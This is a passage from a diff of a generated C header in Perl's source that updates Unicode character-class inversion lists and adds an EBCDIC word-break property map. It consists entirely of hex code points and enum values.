0xE01, + 0xE31, + 0xE32, + 0xE34, 0xE3B, - 0xE40, + 0xE47, 0xE4F, 0xE50, 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, + 0xEB1, + 0xEB2, + 0xEB4, 0xEBA, 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, + 0xEBD, 0xEC8, 0xECE, 0xED0, 0xEDA, - 0xEDC, - 0xEE0, 0xF00, 0xF01, 0xF18, @@ -361752,20 +82434,39 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xF39, 0xF3A, 0xF3E, + 0xF40, 0xF48, 0xF49, 0xF6D, 0xF71, 0xF85, 0xF86, + 0xF88, + 0xF8D, 0xF98, 0xF99, 0xFBD, 0xFC6, 0xFC7, - 0x1000, + 0x102B, + 0x103F, + 0x1040, 0x104A, - 0x1050, + 0x1056, + 0x105A, + 0x105E, + 0x1061, + 0x1062, + 0x1065, + 0x1067, + 0x106E, + 0x1071, + 0x1075, + 0x1082, + 0x108E, + 0x108F, + 0x1090, + 0x109A, 0x109E, 0x10A0, 0x10C6, @@ -361809,8 +82510,6 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x135B, 0x135D, 0x1360, - 0x1369, - 0x1372, 0x1380, 0x1390, 0x13A0, @@ -361830,10 +82529,13 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x1700, 0x170D, 0x170E, + 0x1712, 0x1715, 0x1720, + 0x1732, 0x1735, 0x1740, + 0x1752, 0x1754, 0x1760, 0x176D, @@ -361841,21 +82543,24 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x1771, 0x1772, 0x1774, - 0x1780, + 0x17B4, 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, + 0x17DD, 0x17DE, 0x17E0, 0x17EA, 0x180B, 0x180E, + 0x180F, 0x1810, 0x181A, 0x1820, 0x1878, 0x1880, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, 0x18AB, 0x18B0, 0x18F6, @@ -361866,52 +82571,67 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x1930, 0x193C, 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, + 0x1950, 0x19D0, - 0x19DB, + 0x19DA, 0x1A00, + 0x1A17, 0x1A1C, - 0x1A20, + 0x1A55, 0x1A5F, 0x1A60, 0x1A7D, 0x1A7F, + 0x1A80, 0x1A8A, 0x1A90, 0x1A9A, - 0x1AA7, - 0x1AA8, 0x1AB0, - 0x1ABE, + 0x1ABF, 0x1B00, + 0x1B05, + 0x1B34, + 0x1B45, 0x1B4C, 0x1B50, 0x1B5A, 0x1B6B, 0x1B74, 0x1B80, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, 0x1BF4, 0x1C00, + 0x1C24, 0x1C38, 0x1C40, 0x1C4A, 0x1C4D, + 0x1C50, + 0x1C5A, 0x1C7E, 0x1C80, 0x1C89, 0x1CD0, 0x1CD3, 0x1CD4, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF7, + 0x1CF8, 0x1CFA, 0x1D00, - 0x1DFA, + 0x1DC0, + 0x1DF6, 0x1DFB, + 0x1E00, 0x1F16, 0x1F18, 0x1F1E, @@ -361949,10 +82669,32 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x1FF5, 0x1FF6, 0x1FFD, + 0x2000, + 0x200B, + 0x200C, + 0x200D, + 0x200E, + 0x2010, + 0x2018, + 0x201A, + 0x2024, + 0x2025, + 0x2027, + 0x2028, + 0x202A, + 0x202F, + 0x2030, 0x203F, 0x2041, + 0x2044, + 0x2045, 0x2054, 0x2055, + 0x205F, + 0x2060, + 0x2065, + 0x2066, + 0x2070, 0x2071, 0x2072, 0x207F, @@ -361960,10 +82702,6 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x2090, 0x209D, 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, 0x20F1, 0x2102, 0x2103, @@ -361973,7 +82711,7 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x2114, 0x2115, 0x2116, - 0x2118, + 0x2119, 0x211E, 0x2124, 0x2125, @@ -361982,6 +82720,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x2128, 0x2129, 0x212A, + 0x212E, + 0x212F, 0x213A, 0x213C, 0x2140, @@ -361991,6 +82731,16 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x214F, 0x2160, 0x2189, + 0x24B6, + 0x24EA, + 0x261D, + 0x261E, + 0x26F9, + 0x26FA, + 0x270A, + 0x270E, + 0x2764, + 0x2765, 0x2C00, 0x2C2F, 0x2C30, @@ -361998,6 +82748,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x2C60, 0x2CE5, 0x2CEB, + 0x2CEF, + 0x2CF2, 0x2CF4, 0x2D00, 0x2D26, @@ -362010,6 +82762,7 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x2D6F, 0x2D70, 0x2D7F, + 0x2D80, 0x2D97, 0x2DA0, 0x2DA7, @@ -362029,36 +82782,37 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x2DDF, 0x2DE0, 0x2E00, + 0x2E2F, + 0x2E30, + 0x3000, + 0x3001, 0x3005, - 0x3008, - 0x3021, + 0x3006, + 0x302A, 0x3030, 0x3031, 0x3036, - 0x3038, + 0x303B, 0x303D, - 0x3041, - 0x3097, 0x3099, 0x309B, 0x309D, 0x30A0, - 0x30A1, 0x30FB, 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, 0x31BB, 0x31F0, 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, + 0x32D0, + 0x32FF, + 0x3300, + 0x3358, 0xA000, 0xA48D, 0xA4D0, @@ -362066,12 +82820,18 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xA500, 0xA60D, 0xA610, + 0xA620, + 0xA62A, 0xA62C, 0xA640, - 0xA670, + 0xA66F, + 0xA673, 0xA674, 0xA67E, 0xA67F, + 0xA69E, + 0xA6A0, + 0xA6F0, 0xA6F2, 0xA717, 0xA720, @@ -362082,46 +82842,76 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xA7B0, 0xA7B8, 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, 0xA828, 0xA840, 0xA874, 0xA880, + 0xA882, + 0xA8B4, 0xA8C6, 0xA8D0, 0xA8DA, 0xA8E0, + 0xA8F2, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, 0xA8FE, 0xA900, + 0xA90A, + 0xA926, 0xA92E, 0xA930, + 0xA947, 0xA954, 0xA960, 0xA97D, 0xA980, + 0xA984, + 0xA9B3, 0xA9C1, 0xA9CF, + 0xA9D0, 0xA9DA, - 0xA9E0, - 0xA9FF, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, 0xAA00, + 0xAA29, 0xAA37, 0xAA40, + 0xAA43, + 0xAA44, + 0xAA4C, 0xAA4E, 0xAA50, 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, + 0xAA7B, + 0xAA7E, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, 0xAAE0, + 0xAAEB, 0xAAF0, 0xAAF2, + 0xAAF5, 0xAAF7, 0xAB01, 0xAB07, @@ -362138,6 +82928,7 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xAB5C, 0xAB66, 0xAB70, + 0xABE3, 0xABEB, 0xABEC, 0xABEE, @@ -362149,15 +82940,13 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xD7C7, 0xD7CB, 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, 0xFB00, 0xFB07, 0xFB13, 0xFB18, 0xFB1D, + 0xFB1E, + 0xFB1F, 0xFB29, 0xFB2A, 0xFB37, @@ -362170,41 +82959,49 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xFB43, 0xFB45, 0xFB46, + 0xFB50, 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, + 0xFBD3, 0xFD3E, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFA, + 0xFDFC, 0xFE00, 0xFE10, + 0xFE11, + 0xFE13, + 0xFE14, + 0xFE15, 0xFE20, 0xFE30, 0xFE33, 0xFE35, 0xFE4D, 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, + 0xFE51, + 0xFE52, + 0xFE53, + 0xFE54, + 0xFE55, + 0xFE56, + 0xFE70, + 0xFE75, + 0xFE76, 0xFEFD, - 0xFF10, + 0xFEFF, + 0xFF00, + 0xFF07, + 0xFF08, + 0xFF0C, + 0xFF0D, + 0xFF0E, + 0xFF0F, 0xFF1A, + 0xFF1B, + 0xFF1C, 0xFF21, 0xFF3B, 0xFF3F, @@ -362212,6 +83009,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xFF41, 0xFF5B, 0xFF66, + 0xFF9E, + 0xFFA0, 0xFFBF, 0xFFC2, 0xFFC8, @@ -362221,6 +83020,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0xFFD8, 0xFFDA, 0xFFDD, + 0xFFF9, + 0xFFFC, 0x10000, 0x1000C, 0x1000D, @@ -362247,9 +83048,10 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x102E1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, + 0x10376, 0x1037B, 0x10380, 0x1039E, @@ -362306,10 +83108,12 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x109BE, 0x109C0, 0x10A00, + 0x10A01, 0x10A04, 0x10A05, 0x10A07, 0x10A0C, + 0x10A10, 0x10A14, 0x10A15, 0x10A18, @@ -362326,6 +83130,7 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x10AC0, 0x10AC8, 0x10AC9, + 0x10AE5, 0x10AE7, 0x10B00, 0x10B36, @@ -362342,34 +83147,48 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x10CC0, 0x10CF3, 0x11000, + 0x11003, + 0x11038, 0x11047, 0x11066, 0x11070, 0x1107F, + 0x11083, + 0x110B0, 0x110BB, + 0x110BD, + 0x110BE, 0x110D0, 0x110E9, 0x110F0, 0x110FA, 0x11100, + 0x11103, + 0x11127, 0x11135, 0x11136, 0x11140, 0x11150, + 0x11173, 0x11174, 0x11176, 0x11177, 0x11180, + 0x11183, + 0x111B3, + 0x111C1, 0x111C5, 0x111CA, 0x111CD, 0x111D0, + 0x111DA, 0x111DB, 0x111DC, 0x111DD, 0x11200, 0x11212, 0x11213, + 0x1122C, 0x11238, 0x1123E, 0x1123F, @@ -362384,6 +83203,7 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x1129F, 0x112A9, 0x112B0, + 0x112DF, 0x112EB, 0x112F0, 0x112FA, @@ -362402,6 +83222,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x11335, 0x1133A, 0x1133C, + 0x1133D, + 0x1133E, 0x11345, 0x11347, 0x11349, @@ -362412,62 +83234,64 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x11357, 0x11358, 0x1135D, + 0x11362, 0x11364, 0x11366, 0x1136D, 0x11370, 0x11375, 0x11400, + 0x11435, + 0x11447, 0x1144B, 0x11450, 0x1145A, 0x11480, + 0x114B0, + 0x114C4, 0x114C6, 0x114C7, 0x114C8, 0x114D0, 0x114DA, 0x11580, + 0x115AF, 0x115B6, 0x115B8, 0x115C1, 0x115D8, + 0x115DC, 0x115DE, 0x11600, + 0x11630, 0x11641, 0x11644, 0x11645, 0x11650, 0x1165A, 0x11680, + 0x116AB, 0x116B8, 0x116C0, 0x116CA, - 0x11700, - 0x1171A, 0x1171D, 0x1172C, 0x11730, 0x1173A, 0x118A0, + 0x118E0, 0x118EA, 0x118FF, 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, 0x11AC0, 0x11AF9, 0x11C00, 0x11C09, 0x11C0A, + 0x11C2F, 0x11C37, 0x11C38, + 0x11C40, 0x11C41, 0x11C50, 0x11C5A, @@ -362477,20 +83301,6 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, 0x12000, 0x1239A, 0x12400, @@ -362512,6 +83322,7 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x16AF0, 0x16AF5, 0x16B00, + 0x16B30, 0x16B37, 0x16B40, 0x16B44, @@ -362524,19 +83335,15 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x16F00, 0x16F45, 0x16F50, + 0x16F51, 0x16F7F, 0x16F8F, + 0x16F93, 0x16FA0, 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, + 0x16FE1, 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, + 0x1B001, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -362547,6 +83354,8 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x1BC9A, 0x1BC9D, 0x1BC9F, + 0x1BCA0, + 0x1BCA4, 0x1D165, 0x1D16A, 0x1D16D, @@ -362648,6 +83457,7 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x1E8D0, 0x1E8D7, 0x1E900, + 0x1E944, 0x1E94B, 0x1E950, 0x1E95A, @@ -362717,31 +83527,1913 @@ static const UV PL_XIDC_invlist[] = { /* for ASCII/Latin1 */ 0x1EEAA, 0x1EEAB, 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, + 0x1F1E6, + 0x1F200, + 0x1F385, + 0x1F386, + 0x1F3C3, + 0x1F3C5, + 0x1F3CA, + 0x1F3CC, + 0x1F3FB, + 0x1F400, + 0x1F442, + 0x1F444, + 0x1F446, + 0x1F451, + 0x1F466, + 0x1F46A, + 0x1F46E, + 0x1F46F, + 0x1F470, + 0x1F479, + 0x1F47C, + 0x1F47D, + 0x1F481, + 0x1F484, + 0x1F485, + 0x1F488, + 0x1F48B, + 0x1F48C, + 0x1F4AA, + 0x1F4AB, + 0x1F575, + 0x1F576, + 0x1F57A, + 0x1F57B, + 0x1F590, + 0x1F591, + 0x1F595, + 0x1F597, + 0x1F5E8, + 0x1F5E9, + 0x1F645, + 0x1F648, + 0x1F64B, + 0x1F650, + 0x1F6A3, + 0x1F6A4, + 0x1F6B4, + 0x1F6B7, + 0x1F6C0, + 0x1F6C1, + 0x1F918, + 0x1F91F, + 0x1F926, + 0x1F927, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93A, + 0x1F93C, + 0x1F93F, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, 0xE0100, 0xE01F0 }; -# endif /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define WB_ENUM_COUNT 25 + +typedef enum { + WB_Other = 0, + WB_ALetter = 1, + WB_CR = 2, + WB_Double_Quote = 3, + WB_E_Base = 4, + WB_E_Base_GAZ = 5, + WB_E_Modifier = 6, + WB_Extend = 7, + WB_ExtendNumLet = 8, + WB_Format = 9, + WB_Glue_After_Zwj = 10, + WB_Hebrew_Letter = 11, + WB_Katakana = 12, + WB_LF = 13, + WB_MidLetter = 14, + WB_MidNum = 15, + WB_MidNumLet = 16, + WB_Newline = 17, + WB_Numeric = 18, + WB_Perl_Tailored_HSpace = 19, + WB_Regional_Indicator = 20, + WB_Single_Quote = 21, + WB_ZWJ = 22, + WB_EDGE = 23, + WB_UNKNOWN = 24 +} WB_enum; + +static const WB_enum _Perl_WB_invmap[] = { /* for EBCDIC 037 */ + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_Newline, + WB_CR, + WB_Other, + WB_Newline, + WB_Other, + WB_LF, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_ALetter, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidLetter, + WB_Other, + WB_Single_Quote, + WB_Other, + WB_Double_Quote, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Format, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_MidNum, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_MidLetter, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_ALetter, + WB_MidLetter, + WB_Other, + WB_Format, + WB_Other, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Format, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Format, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Numeric, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Perl_Tailored_HSpace, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Format, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_Extend, + WB_ZWJ, + WB_Format, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidLetter, + WB_Newline, + WB_Format, + WB_ExtendNumLet, + WB_Other, + WB_ExtendNumLet, + 